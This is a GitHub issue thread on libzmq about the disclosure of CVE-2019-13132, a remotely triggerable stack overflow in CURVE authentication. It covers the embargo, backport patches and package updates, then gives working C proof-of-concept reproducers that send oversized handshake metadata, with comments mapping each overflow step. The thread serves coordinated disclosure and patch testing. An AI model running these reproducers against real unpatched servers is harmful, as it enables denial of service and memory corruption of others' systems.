Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2019-13132: denial of service via stack overflow #3558

Closed
fangpenlin opened this issue Jun 27, 2019 · 14 comments

Comments

@fangpenlin
Copy link

commented Jun 27, 2019

I found a critical security bug of libzmq and would like to report it confidentially, so that hopefully the bug can be fixed before we disclose it. It appears the only information I can find about reporting security bug is here in FAQ

http://zeromq.org/area:faq#toc9

Besides opening an issue here, do you folks have an email address and corresponding GPG key I can send the details of this bug over?

@fangpenlin fangpenlin changed the title Critical security bug report email and GPG address needed Critical security bug report email and GPG key needed Jun 27, 2019

@bluca

This comment has been minimized.

Copy link
Member

commented Jul 1, 2019

@fangpenlin we added a policy and contact details at https://github.com/zeromq/libzmq/security/policy

@bluca bluca changed the title Critical security bug report email and GPG key needed CVE-2019-13132: denial of service via stack overflow Jul 8, 2019

@bluca

This comment has been minimized.

Copy link
Member

commented Jul 8, 2019

The embargo is now over, here's a coarse description of the problem:

A remote, unauthenticated client connecting to a
libzmq application, running with a socket listening with CURVE
encryption/authentication enabled, may cause a stack overflow and
overwrite the stack with arbitrary data, due to a buffer overflow in
the library. Users running public servers with the above configuration
are highly encouraged to upgrade as soon as possible, as there are no
known mitigations. All versions from 4.0.0 and upwards are affected.

Releases will be out in a few moments.

@bluca

This comment has been minimized.

Copy link
Member

commented Jul 8, 2019

The following patches (they have to be named .txt or github refuses to attach them) are backports for a number of releases that have been seen in the wild, to ease the job of users that cannot update at the moment.

4_0_5.txt
4_1_4.txt
4_1_6.txt
4_2_1.txt
4_2_2.txt
4_2_3.txt
4_2_5.txt
4_3_1.txt

@bluca

This comment has been minimized.

Copy link
Member

commented Jul 8, 2019

Closing as it's solved, but feel free to comment with more details. Due to sensitivity the code to reproduce the issue will be published on July 15th at 16:00 UTC.

@bluca bluca closed this Jul 8, 2019

@bluca

This comment has been minimized.

Copy link
Member

commented Jul 8, 2019

@bluca

This comment has been minimized.

Copy link
Member

commented Jul 8, 2019

@myd7349 FYI for vcpkg

@bluca

This comment has been minimized.

Copy link
Member

commented Jul 8, 2019

@scpeters @aimileus FYI for homebrew

@scpeters

This comment has been minimized.

Copy link
Contributor

commented Jul 8, 2019

homebrew bottles have been updated in Homebrew/homebrew-core#41716

@bluca

This comment has been minimized.

Copy link
Member

commented Jul 8, 2019

Thank you!

@myd7349

This comment has been minimized.

Copy link
Contributor

commented Jul 10, 2019

vcpkg's ZeroMQ has also been updated to 4.3.2.

@bluca

This comment has been minimized.

Copy link
Member

commented Jul 10, 2019

Thanks!

@fangpenlin

This comment has been minimized.

Copy link
Author

commented Jul 15, 2019

Based on the previous discussion, it has been one week passed, there should be enough time for patching, so here I am sharing the reproducer:

#include <string>

#include <czmq.h>
#include <zmq.h>

int main() {
    zsys_init();

    // Generate CurveZMQ certificates (public/private key pairs actually) for server and client
    zcert_t *serverCert = zcert_new ();
    zcert_t *clientCert = zcert_new ();

    // Setup client socket
    zsock_t* serverSocket = zsock_new(ZMQ_ROUTER);
    // make server to use CURVE secure connection mode
    zsock_set_curve_server(serverSocket, 1);
    // set the server secret key
    zsock_set_curve_secretkey(serverSocket, zcert_secret_txt(serverCert));
    assert(zsock_bind(serverSocket, "tcp://127.0.0.1:7777") != -1);

    // Setup server socket
    zsock_t* clientSocket = zsock_new(ZMQ_DEALER);
    // Set the server public key
    zsock_set_curve_serverkey(clientSocket, zcert_public_txt(serverCert));
    // Set the key pair of client
    zsock_set_curve_secretkey(clientSocket, zcert_secret_txt(clientCert));
    zsock_set_curve_publickey(clientSocket, zcert_public_txt(clientCert));
    // Set metadata property of the client socket

    // This basically set a tons of data into socket metadata, and ZMQ will use it to generate a handshake package
    // for CurveCP auth schema:
    //
    // https://github.com/zeromq/libzmq/blob/master/src/curve_client.cpp#L182
    //
    // We make the size huge so that it will overflow
    for (size_t i = 0; i < 200; ++i ) {
        std::string property(
            std::string("X-Property") + std::to_string(i) + std::string(":ABCDEFG0123456789")
        );
        assert(zmq_setsockopt (zsock_resolve(clientSocket), ZMQ_METADATA, property.c_str(), property.size()) == 0);
    }

    // This will initiate the connection to server with our CurveCP auth package and the oversize metadata in it.
    // 1. Server will get the message payload here:
    //
    // https://github.com/zeromq/libzmq/blob/master/src/curve_server.cpp#L274-L275
    //
    // 2. The size `clen` is calculated based on the payload size minus a fixed length of other part in the payload
    //
    // https://github.com/zeromq/libzmq/blob/master/src/curve_server.cpp#L327
    //
    // 3. The memory for decrypting the crypto box are allocated in stack with fixed size
    //
    // https://github.com/zeromq/libzmq/blob/master/src/curve_server.cpp#L329-L331
    //
    // 4. The first overflow comes in, we copy the message data to fixed stack buffer array without boundary check
    //
    // https://github.com/zeromq/libzmq/blob/master/src/curve_server.cpp#L335-L336
    //
    // 5. The second overflow comes in, we try to decrypt the crypto box and put the oversize result into fixed
    //    stack buffer array
    //
    // https://github.com/zeromq/libzmq/blob/master/src/curve_server.cpp#L342-L343
    //
    assert(zsock_connect(clientSocket, "tcp://127.0.0.1:7777") != -1);

    sleep(10);

    zsys_shutdown();
    return 0;
}
@bluca

This comment has been minimized.

Copy link
Member

commented Jul 15, 2019

Thank you!

Here's another set that separates client and server:

#include <assert.h>
#include <string.h>
#include <zmq.h>

int main (int argc, char **argv)
{
    int rc;
    const char *server_pub = "jEg<HblL9NkkA)j@OnXh*xFQAH)6dq?yiL>okK$R";
    const char *server_pri = "6oG#BphJV0u:I^eU?H5sWv4zYF.==/8!}[lcgb7B";
    void *ctx = zmq_ctx_new ();
    assert (ctx);
    void *server = zmq_socket (ctx, ZMQ_PAIR);
    assert (server);

    rc = zmq_setsockopt (server, ZMQ_CURVE_SECRETKEY, server_pri, strlen (server_pri));
    assert (rc == 0);
    rc = zmq_setsockopt (server, ZMQ_CURVE_PUBLICKEY, server_pub, strlen (server_pub));
    assert (rc == 0);
    int srv = 1;
    rc = zmq_setsockopt (server, ZMQ_CURVE_SERVER, &srv, sizeof (srv));
    assert (rc == 0);

    rc = zmq_bind (server, "tcp://127.0.0.1:12345");
    assert (rc == 0);

    rc = zmq_send (server, "ABC", 3, 0);
    assert (rc == 3);

    zmq_pollitem_t items = {server, 0, ZMQ_POLLIN, 0};
    rc = zmq_poll (&items, 1, -1);
    assert (rc == 1);

    rc = zmq_close (server);
    assert (rc == 0);
    rc = zmq_ctx_destroy (ctx);
    assert (rc == 0);

    return 0;
}
#include <assert.h>
#include <string.h>
#include <zmq.h>

int main (int argc, char **argv)
{
    int rc, i;
    const char *server_pub = "jEg<HblL9NkkA)j@OnXh*xFQAH)6dq?yiL>okK$R";
    const char *client_pub = "FqI@0.4afwB095HkOWpa88))k&w20WpRBCGif0&n";
    const char *client_pri = "jeA6%eA9cXd6?Ja]-&8?G*:Xz1BR8xxZ</@0b&tj";
    void *ctx = zmq_ctx_new ();
    assert (ctx);
    void *client = zmq_socket (ctx, ZMQ_PAIR);
    assert (client);

    rc = zmq_setsockopt (client, ZMQ_CURVE_SECRETKEY, client_pri, strlen (client_pri));
    assert (rc == 0);
    rc = zmq_setsockopt (client, ZMQ_CURVE_PUBLICKEY, client_pub, strlen (client_pub));
    assert (rc == 0);
    rc = zmq_setsockopt (client, ZMQ_CURVE_SERVERKEY, server_pub, strlen (server_pub));
    assert (rc == 0);

    for (i = 0; i < 200; ++i) {
        char data[sizeof ("X-Property200:ABCDEFG0123456789") + 1];
        sprintf (data, "X-Property%03d:ABCDEFG0123456789", i);
        rc = zmq_setsockopt (client, ZMQ_METADATA, data, sizeof (data));
        assert (rc == 0);
    }

    rc = zmq_connect(client, "tcp://127.0.0.1:12345");
    assert (rc == 0);

    rc = zmq_send (client, "ABC", 3, 0);
    assert (rc == 3);

    zmq_pollitem_t items = {client, 0, ZMQ_POLLIN, 0};
    rc = zmq_poll (&items, 1, -1);
    assert (rc == 1);

    rc = zmq_close (client);
    assert (rc == 0);
    rc = zmq_ctx_destroy (ctx);
    assert (rc == 0);

    return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
4 participants
You can’t perform that action at this time.